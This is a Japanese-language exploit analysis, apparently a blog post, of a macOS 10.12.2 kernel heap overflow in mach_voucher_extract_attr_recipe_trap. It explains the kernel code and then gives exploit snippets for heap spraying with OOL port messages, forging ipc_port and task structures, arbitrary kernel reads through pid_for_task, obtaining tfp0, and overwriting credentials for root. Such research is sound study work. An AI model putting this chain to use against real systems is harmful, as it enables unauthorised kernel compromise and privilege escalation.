
Mac 10.12.2 上で
今回の権限昇格は、mach_voucher_extract_attr_recipe_trapに存在する脆弱性を利用したものであり、その利用方法の中核はMACH_MSG_OOL_PORTS_DESCRIPTORメッセージです。
mach_msg oolについて簡単に説明すると、ool descriptorを含むmsgを送信すると、カーネルは指定されたデータをユーザ空間からカーネル空間にコピーし、対象のタスクがメッセージを処理するまでそのデータを保持し続けます。同様に、対象プロセスがool descriptorを含むメッセージを受信すると、カーネルはデータをカーネル空間からユーザ空間にコピーします(必ずしも実際のコピーとは限りません)。したがって、この技術を用いてカーネルヒープにデータを書き込んだり、カーネルからデータを読み取ったりすることができます。
この脆弱性の利用はトライデントよりもはるかに複雑であるため、私は段階を追って詳しく分析していきます。脆弱性の発生点から段階的な利用まで、コードは私のgithubを参照してください。
iOS 10およびmacOS 10.12で追加された新機能の1つに、mach_voucher_extract_attr_recipe_trapという関数があります。これはサンドボックス内で呼び出し可能なMach trapです。以下がこの関数のソースコードです:
kern_return_t
mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
{
ipc_voucher_t voucher = IV_NULL;
kern_return_t kr = KERN_SUCCESS;
mach_msg_type_number_t sz = 0;
//recipe_sizeのアドレスをszにコピーする。この時点でszにはkalloc_sizeの値が格納される
if (copyin(args->recipe_size, (void *)&sz, sizeof(sz))) <---------- (a)
return KERN_MEMORY_ERROR;
if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
return MIG_ARRAY_TOO_LARGE;
voucher = convert_port_name_to_voucher(args->voucher_name);
if (voucher == IV_NULL)
return MACH_SEND_INVALID_DEST;
mach_msg_type_number_t __assert_only max_sz = sz;
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
/* 小さなレシピは処理速度のためスタック上に保持 */
uint8_t krecipe[sz];
if (copyin(args->recipe, (void *)krecipe, sz)) {
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
} else {
uint8_t *krecipe = kalloc((vm_size_t)sz); <---------- (b)
if (!krecipe) {
kr = KERN_RESOURCE_SHORTAGE;
goto done;
}
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) { <----------- (c)
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
kfree(krecipe, (vm_size_t)sz);
}
kr = copyout(&sz, args->recipe_size, sizeof(sz));
done:
ipc_voucher_release(voucher);
return kr;
}
args->recipe_sizeがszに書き込まれることがわかる。szのサイズがMACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120)とMACH_VOUCHER_TRAP_STACK_LIMIT (256)の間にある場合、szの値に従ってカーネルヒープバッファが割り当てられる。szではなく、ユーザ空間ポインタである。その結果、ヒープオーバーフローが発生する。我々はこの点を利用して攻撃を行う。また、copyin関数には、アンマップされたページに遭遇するとコピーを停止するという特性があり、この特性が私たちのpocで利用される:最初に、mach msgにおけるMACH_MSG_OOL_PORTS_DESCRIPTORの処理を理解する必要がある。カーネルは複雑なメッセージを受信し、ports descriptorを検出すると、ipc_kmsg_copyin(ipc_kmsg_copyin_ool_ports_descriptorにより呼び出される)によってすべてのportオブジェクトを読み取る。この関数はkallocを呼び出して必要なメモリを割り当て(64ビット環境では割り当てられるメモリは入力の2倍、名前の長さは4バイト)、有効なportをnameから実際のipc_portオブジェクトアドレスに変換して保存する。入力がMACH_PORT_NULLまたはMACH_PORT_DEADのnameはそのまま保持される。
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if(ports_length == 0){
return user_desc;
}
data = kalloc(ports_length); // 領域割り当て
...
objects = (ipc_object_t *) data;
dsc->address = data;
for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;
if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue;
}
...
}
したがって、攻撃時には大量のMACH_PORT_DEADを送信し、メモリ領域を0xFFFFFFFFFFFFFFFF(MACH_PORT_DEAD)で埋め尽くす。その後、脆弱性をトリガーして、そのうちの1つのIPC_PORT_DEADを攻撃者が準備したメモリ領域に書き換える。もし指し示す領域が正当なipc port構造体であれば、OOL PORTSメッセージを受信した後、ユーザ空間でそのipc_portに対応するport nameを取得でき、次の攻撃に進むことができる。
ipc_objectオブジェクトの構築まず、このfake portを入手した。次に情報漏洩を行うには、カーネルがどのようなパラメータに基づいて異なる処理を行うかを知る必要がある。まず、ipc_portの構造体を見てみる。
struct ipc_port {
//ipc_objectのポインタは最初の8バイトにあり、これがオーバーフロー攻撃の対象となる
struct ipc_object ip_object; // portオブジェクトの型 struct ipc_mqueue,ip_messages;
struct ipc_mqueue ip_messages; // メッセージキュー
union {
struct ipc_space *receiver;
struct ipc_port *destination;
ipc_port_timestamp_t timestamp;
}data;
union {
ipc_importance_task_t imp_task;
ipc_kobject_t kobject; // portに対応するカーネルオブジェクト
uintptr_t alias;
}kdata;
...
} __attribute__((__packed__));
この中に、portに対応するカーネルオブジェクトがある。このipc_portがどの種類のカーネルオブジェクトに対応するかは、ipc_objectの属性によって決まる。したがって、我々はipc_objectを標的にして構築を行う。
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // IKOT_CLOCKオブジェクトに設定し、アクティブ状態にする
fakeport->io_lock_data[12] = 0x11; // portロックをアクティブ状態に設定し、デッドロックを防ぐ
カーネルはこのipc_portをIKOT_CLOCKオブジェクトとの通信に使われるportとして認識する。次の目的は、カーネルベースアドレスを漏洩することである:
このipc_portをIKOT_CLOCKオブジェクトに偽装し、そのkdata.kobjectポインタをカーネルアドレスに設定する。このカーネルアドレスを変更するたびに、ユーザ空間でclock_sleep_trapを呼び出すと、カーネル内でport_name_to_clockが呼び出されてこのカーネルアドレスを取得し、それをclockパラメータとしてclock_sleep_internalに渡す。ソースコードは以下の通り:
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
if (clock == CLOCK_NULL)
return (KERN_INVALID_ARGUMENT);
if (clock != &clock_list[SYSTEM_CLOCK])
return (KERN_FAILURE);
...
}
上記のコードから、clockのアドレスがclock_list[SYSTEM_CLOCK]のアドレスでない場合、KERN_FAILUREが返され、そうでなければ他の値が返されることがわかる。したがって、返されるパラメータを利用して、走査(kobjectの値を変更し続ける)を行い、KERN_FAILUREが返されるまで続けることで、clock_list[SYSTEM_CLOCK]のカーネル内のアドレスを取得できる。このアドレスはヒープ上にはなく、カーネル内のグローバル変数であり、特定のオフセットに存在する。次に、このアドレスから各ページの先頭を順に読み進め、MH_MAGIC_64(0xfeedfacf)を見つける。
extern struct clock_ops sysclk_ops, calend_ops;
struct clock clock_list[] = {
{&sysclk_ops, 0, 0},
{&calend_ops, 0, 0}
};
このアドレスを取得した後、オブジェクトをtaskタイプに変換し、カーネルのベースアドレスを見つける必要がある。これにより、kslideを計算し、次のtfp0操作を行うことができる。
//fake portのタイプをtaskに変更する。pid_for_taskインターフェースを利用して任意アドレス読み取りを行うため
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;
kobjectのアドレスを取得し、ページの先頭にジャンプする。Yalu102とZheng minのPocでは、この操作の前後順序が異なる。しかし、影響はない。なぜなら、faketaskのアドレスも同じページ上にあるため、AND演算を行うといずれもページの開始アドレスが得られるからである。
uint64_t leaked_ptr = *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;
その後、無限ループでMH_MAGIC_64を見つけ、tfp0の段階に進む:
while (1) {
int leaked = 0;
*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
pid_for_task(foundport, &leaked);
if (leaked == MH_MAGIC_64) {
printf("found kernel text at 0x%llx\n", leaked_ptr);
break;
}
//1つ前のページへ
leaked_ptr -= 0x4000;
}
任意アドレス読み取りが可能な理由は、pid_for_task関数では値に対するチェックが行われず、渡されたパラメータをアドレスとして解釈して加減算を行うだけだからである:
kern_return_t pid_for_task(struct pid_for_task_args *args){
mach_port_t t = args->t;
...
t1 = port_name_to_task(t);
p = get_bsdtask_info(t1);
if(p){
pid = proc_id(p);
err = KERN_SUCCESS;
}
...
(void) copyout((char *)&pid, pid_addr, sizeof(int));
AUDIT_MACH_SYSCALL_EXIT(err);
return err;
}
//pid_for_task_args
struct pid_for_task_args{
PAD_ARG(mach_port_name_t t);
PAD_ARG(user_addr_r pid);
};
pid_for_task
全体の流れは、カーネルのプロセスリストを見つけ、自分のプロセスのアドレスとpid0のアドレスを走査して見つけることである。次に、カーネルプロセスからkernel taskのアドレスを取得し、kernel taskからitk_sself(kernel task's port)を取得する。その後、kernel taskの情報で偽装したipc portの情報を上書きし、fake portを偽装したkernel taskに向け、kernel taskのbootstrap portを実際のkernel taskのportに設定する。そして、インターフェースtask_get_special_portを介してkernel taskのportを取得し、任意アドレス読み書きを実現し、自分のprocの権限をrootに書き換える。
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
for (int i = 0; i < 0x1000/4; i++) {
kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}
for (int i = 0; i < 0x1000/4; i++) {
kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
//kernel task portをダンプ
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;
//kernel taskを取得
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);
fakeport->io_bits = 0;
uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;
printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));
//root権限取得
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);
pwn